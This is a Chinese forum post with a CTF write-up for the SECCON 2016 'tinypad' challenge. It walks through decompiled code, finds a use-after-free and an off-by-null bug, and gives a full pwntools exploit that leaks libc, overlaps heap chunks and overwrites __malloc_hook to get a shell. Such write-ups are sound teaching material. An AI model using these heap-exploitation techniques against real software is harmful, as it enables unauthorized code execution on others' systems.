R00tkit 发表于 2023-9-1 19:41

SECCON CTF 2016 : tinypad

本帖最后由 R00tkit 于 2023-9-22 20:47 编辑


# 检查文件信息


没有开PIE保护,ELF64小端序文件。


暂改rpath为2.23。


# 试运行


# 逆向分析
```cpp
/* main 函数 */

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 len_of_str; // rsi
const char *str; // rdi
__int64 v6; // rdx
__int64 v7; // rdx
__int64 v8; // rdx
__int64 v9; // rdx
size_t len_of_con; // rax
int choice; // eax
int size_alloc; // eax
__int64 v13; // rdx
size_t v14; // rax
__int64 v15; // rdx
unsigned __int64 v16; // rax
__int64 v17; // rdx
__int64 v18; // rdx
int c; // BYREF
int i; //
int index; //
int v23; //
int size; //
unsigned __int64 v25; //

v25 = __readfsqword(0x28u);
v23 = 0;
write_n(&unk_4019F0, 1LL, envp);
write_n(
    "============================================================================\n"
    "// _|_|_|_|_|_|_|_|_|      _|_|      _|_|_|_|      _|_|    _|_|_|   \\\\\n"
    "||   _|      _|    _|_|    _|    _|_|    _|    _|_|    _|_|    _|   ||\n"
    "||   _|      _|    _|_|_|      _|      _|_|_|    _|_|_|_|_|    _|   ||\n"
    "||   _|      _|    _|    _|_|      _|      _|      _|    _|_|    _|   ||\n"
    "\\\\   _|      _|_|_|_|      _|      _|      _|      _|    _|_|_|_|   //\n"
    "============================================================================\n",
    563LL,
    v3);
len_of_str = 1LL;
str = (const char *)&unk_4019F0;
write_n(&unk_4019F0, 1LL, v6);
do
{
    for ( i = 0; i <= 3; ++i )                  // output all pad with i=0
    {
      LOBYTE(c) = i + '1';
      writeln("+------------------------------------------------------------------------------+\n", 81LL);
      write_n(" #   INDEX: ", 12LL, v8);
      writeln(&c, 1LL);
      write_n(" # CONTENT: ", 12LL, v9);
      if ( *(_QWORD *)&tinypad )
      {
      len_of_con = strlen(*(const char **)&tinypad);
      writeln(*(_QWORD *)&tinypad, len_of_con);
      }
      len_of_str = 1LL;
      str = (const char *)&unk_4019F0;
      writeln(&unk_4019F0, 1LL);
    }
    index = 0;                                  // init index
    choice = getcmd((__int64)str, len_of_str, v7);
    v23 = choice;
    if ( choice == 'D' )                        // delete start
    {
      write_n("(INDEX)>>> ", 11LL, v7);
      index = read_int();
      if ( index <= 0 || index > 4 )
      {
LABEL_29:
      len_of_str = 13LL;
      str = "Invalid index";
      writeln("Invalid index", 13LL);
      continue;
      }
      if ( !*(_QWORD *)&tinypad )
      {
LABEL_31:
      len_of_str = 8LL;
      str = "Not used";
      writeln("Not used", 8LL);
      continue;
      }
      free(*(void **)&tinypad); // because index begin with 1,so this is 0xF8 ; UAF漏洞
      *(_QWORD *)&tinypad = 0LL;
      len_of_str = 9LL;
      str = "\nDeleted.";
      writeln("\nDeleted.", 9LL);
    }                                           // delete end
    else if ( choice > 'D' )
    {
      if ( choice != 'E' )
      {
      if ( choice == 'Q' )                  // Quit
          continue;
LABEL_41:
      len_of_str = 17LL;
      str = "No such a command";
      writeln("No such a command", 17LL);
      continue;
      }
      write_n("(INDEX)>>> ", 11LL, v7);         // edit start
      index = read_int();
      if ( index <= 0 || index > 4 )
      goto LABEL_29;
      if ( !*(_QWORD *)&tinypad )
      goto LABEL_31;
      c = '0';
      strcpy(tinypad, *(const char **)&tinypad);
      while ( toupper(c) != 'Y' )
      {
      write_n("CONTENT: ", 9LL, v18);
      v14 = strlen(tinypad);
      writeln(tinypad, v14);
      write_n("(CONTENT)>>> ", 13LL, v15);
      v16 = strlen(*(const char **)&tinypad);
      read_until((__int64)tinypad, v16, '\n');
      writeln("Is it OK?", 9LL);
      write_n("(Y/n)>>> ", 9LL, v17);
      read_until((__int64)&c, 1uLL, '\n');
      }
      strcpy(*(char **)&tinypad, tinypad);
      len_of_str = 8LL;
      str = "\nEdited.";
      writeln("\nEdited.", 8LL);                // edit end
    }
    else
    {
      if ( choice != 'A' )                      // Add begin
      goto LABEL_41;
      while ( index <= 3 )
      {
      v7 = 0x10 * (index + 0x10LL);
      if ( !*(_QWORD *)&tinypad )
          break;
      ++index;
      }
      if ( index == 4 )
      {
      len_of_str = 17LL;
      str = "No space is left.";
      writeln("No space is left.", 17LL);
      }
      else
      {
      size = -1;
      write_n("(SIZE)>>> ", 10LL, v7);
      size = read_int();
      if ( size <= 0 )
      {
          size_alloc = 1;
      }
      else
      {
          size_alloc = size;
          if ( (unsigned __int64)size > 0x100 )
            size_alloc = 0x100;
      }
      size = size_alloc;
      *(_QWORD *)&tinypad = size_alloc;
      *(_QWORD *)&tinypad = malloc(size);
      v13 = 0x10 * (index + 0x10LL);
      if ( !*(_QWORD *)&tinypad )
      {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
      }
      write_n("(CONTENT)>>> ", 13LL, v13);
      read_until(*(_QWORD *)&tinypad, size, '\n');
      len_of_str = 7LL;
      str = "\nAdded.";
      writeln("\nAdded.", 7LL);
      }
    }                                           // Add end
}
while ( v23 != 'Q' );
return 0;
}

```

```cpp
/* getcmd 函数 */

int __fastcall getcmd(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rdx
__int64 v4; // rdx
int c; // BYREF
unsigned __int64 v7; //

v7 = __readfsqword(0x28u);
c = 0;
write_n(
    "+- MENU -----------------------------------------------------------------------+\n"
    "| Add memo                                                               |\n"
    "| Delete memo                                                            |\n"
    "| Edit memo                                                                |\n"
    "| Quit                                                                     |\n"
    "+------------------------------------------------------------------------------+\n",
    486LL,
    a3);
write_n("(CMD)>>> ", 9LL, v3);
read_until(&c, 1LL, 10LL);
write_n(&unk_4019F0, 1LL, v4);
return toupper(c);
}

```

```cpp
__int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
unsigned __int64 i; //
__int64 n; //

for ( i = 0LL; i < a2; ++i )
{
    n = read_n(0LL, a1 + i, 1LL);
    if ( n < 0 )
      return -1LL;
    if ( !n || *(char *)(a1 + i) == a3 )
      break;
}
*(_BYTE *)(a1 + i) = 0;// off-by-null
if ( i == a2 && *(_BYTE *)(a2 - 1 + a1) != '\n' )
    dummyinput(a3);
return i;
}

```

主要逻辑都写在了main函数里,delete时将data_size置0,却未将data指向置零,存在UAF漏洞。read_until()函数存在off-by-null漏洞。

# 漏洞分析
本题存在UAF漏洞,且输出时并不对size做检查,很容易泄露堆和libc地址。再通过off-by-null构造堆块重叠,将chunk_below_malloc_hook写入fast bin,申请出来时写入one_gadget,再去申请一个堆块便可get_shell。


# 前置脚本
```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
context.arch='amd64'

p = process("./tinypad")
elf = ELF('./tinypad')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

is_debug = 1

def debug():
    if is_debug:
      gdb.attach(p)
      pause()
    else:
      pass

def add_memo(p, size, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(size).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)

def delete_memo(p, idx):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"D")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())

def edit_memo(p, idx, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"E")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)
    p.recvuntil(b"(Y/n)>>>")
    p.sendline(b"Y")

```


# 泄露地址
```python
def leak_addr():
    global heap_addr, libc_base, one_gadget, addr_malloc_hook, fake_fast
    add_memo(p, 0x60, b"a" * 0x10) # index(1) chunk(1)
    add_memo(p, 0x60, b"b" * 0x10) # index(2) chunk(2)
    add_memo(p, 0xf0, b"c" * 0x10) # index(3) chunk(3)
    add_memo(p, 0x80, b"d" * 0x10) # index(4) chunk(4)
    debug() # debug_1
    delete_memo(p, 3)
    delete_memo(p, 2)
    delete_memo(p, 1)
    debug() # debug_2
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 2_prev_size
    log.success("heap_addr: 0x%x" % heap_addr)

    p.recvuntil(b"INDEX: 3")
    p.recvuntil(b"CONTENT: ")
    arena = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    libc_base = arena - 0x3c4b78
    log.success("libc_base: 0x%x" % libc_base)

    fake_fast = libc_base + libc.sym['__malloc_hook'] - 0x23
    one_gadget = libc_base + 0xf1247

```


debug_1
index(4)用来阻隔top_chunk。index(3)会进入unsorted bin,用来泄露libc基址。index(2)和index(1)进入fast bin。index(1)_fd指向index(2),用来泄露堆地址。

debug_2
可以看到,此时已经构成泄露条件,程序会自动打印所有content,我们只需要接收index(3)和index(1)的内容即可。

# off-by-null
```python
def HOE():
    add_memo(p, 0xf0, b"C" * 0x10) # index(1) -> chunk(3)
    add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(heap_addr - 0x60) + p64(heap_addr - 0x60)) # index(2) -> chunk(1)
    add_memo(p, 0x68, b"B" * 0x60 + p64(0xd0)) # index(3) -> chunk(2)
    debug() # debug_3
    delete_memo(p, 1)
    delete_memo(p, 3)
    debug() # debug_4

    add_memo(p, 0x90, b'E' * 0x50 + p64(0) + p64(0x71) + p64(fake_fast)) # index(1)
    debug() # debug_5
    delete_memo(p, 1)

```


debug_3
这里有一些弯子要绕,我们现在的index(1)->chunk(3),index(2)->chunk(1),index(3)->chunk(2)。如上图所示,我们通过在申请index(2)时,index(2)->chunk(1),将chunk(1)构造为一个free_chunk,将fake_chunk_fd,fake_chunk_bk改为chunk(1)_fd的位置来绕过unlink检查,因为我们当初泄露的时chunk(2)_prev_size,所以heap_addr-0x60的位置就是fake_chunk_prev_size。将fake_chunk_size改为0xd0,然后将index(1)->chunk(3)的prev_size改为0xd0,绕过free检查。将index(1)->chunk(3)释放后将造成堆块重叠,将index(3)->chunk(2)包含到重叠的堆块中。

debug_4

debug_5

我们看到,此时已经完成了堆块重叠,我们将index(3)->chunk(2) free后,chunk(2) 进入fast bin,然后我们的大堆块从chunk(1)_fd开始,0x1d0大小的堆块被放进了unsorted bin。我们申请一个足够覆盖chunk(2)的堆块将从unsorted bin中分配,通过此堆块将chunk(2)_fd修改为fake_chunk_below_malloc_hook,我们申请两次就可申请到fake_chunk。


可以看到通过index(1)_0x101修改完毕。


# get_shell
```python
def get_shell():
    add_memo(p, 0x60, b'F' * 0x10) # take first fast # index(1)
    add_memo(p, 0x60, b'X' * 0x13 + p64(one_gadget)) # take second fast that's __malloc and write one_gadget to it # index(3)
    debug() # 6
    delete_memo(p, 2) # we have no pad can be write, free(2) add a chunk will exec one_gadget
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(0x10).encode())

```

0x23减去0x10的fake_chunk_fd&bk,剩下0x13偏移便可到达__malloc_hook,我们只需要添加0x13的偏移即可。成功将__malloc_hook改为one_gadget地址后,然后任意申请一个chunk便可get_shell。



# 完整exp
```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
context.arch='amd64'

p = process("./tinypad")
elf = ELF('./tinypad')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

is_debug = 1

def debug():
    if is_debug:
      gdb.attach(p)
      pause()
    else:
      pass

def add_memo(p, size, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(size).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)

def delete_memo(p, idx):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"D")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())

def edit_memo(p, idx, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"E")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)
    p.recvuntil(b"(Y/n)>>>")
    p.sendline(b"Y")

def leak_addr():
    global heap_addr, libc_base, one_gadget, addr_malloc_hook, fake_fast
    add_memo(p, 0x60, b"a" * 0x10) # 1
    add_memo(p, 0x60, b"b" * 0x10) # 2
    add_memo(p, 0xf0, b"c" * 0x10) # 3
    add_memo(p, 0x80, b"d" * 0x10) # 4
    debug() # 1
    delete_memo(p, 3)
    delete_memo(p, 2)
    delete_memo(p, 1)
    debug() # 2
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 2_prev_size
    log.success("heap_addr: 0x%x" % heap_addr)

    p.recvuntil(b"INDEX: 3")
    p.recvuntil(b"CONTENT: ")
    arena = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    libc_base = arena - 0x3c4b78
    log.success("libc_base: 0x%x" % libc_base)

    fake_fast = libc_base + libc.sym['__malloc_hook'] - 0x23
    one_gadget = libc_base + 0xf1247

def HOE():
    add_memo(p, 0xf0, b"C" * 0x10) # index(1) -> chunk(3)
    add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(heap_addr - 0x60) + p64(heap_addr - 0x60)) # index(2) -> chunk(1)
    add_memo(p, 0x68, b"B" * 0x60 + p64(0xd0)) # index(3) -> chunk(2)
    debug() # 3
    delete_memo(p, 1)
    delete_memo(p, 3)
    debug() # 4

    add_memo(p, 0x90, b'E' * 0x50 + p64(0) + p64(0x71) + p64(fake_fast)) # index(1)
    debug() # 5
    delete_memo(p, 1)

def get_shell():
    add_memo(p, 0x60, b'F' * 0x10) # take first fast # index(1)
    debug() # 6
    add_memo(p, 0x60, b'X' * 0x13 + p64(one_gadget)) # take second fast that's __malloc and write one_gadget to it # index(3)
    debug() # 7
    delete_memo(p, 2) # we have no pad can be write, free(2) add a chunk will exec one_gadget
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(0x10).encode())

def pwn():
    leak_addr()
    HOE()
    get_shell()

    p.interactive()

if __name__ == '__main__':
    pwn()

```

xubaosen 发表于 2023-9-1 20:48

有谁科普下这软件干啥的?

moruye 发表于 2023-9-1 21:21

peiwithhao 发表于 2023-9-2 07:40

xubaosen 发表于 2023-9-1 20:48
有谁科普下这软件干啥的?

ctf比赛的题目

netpeng 发表于 2023-9-2 13:06

学习了,感谢分享。

moruye 发表于 2023-9-2 21:06

页: [1]
查看完整版本: SECCON CTF 2016 : tinypad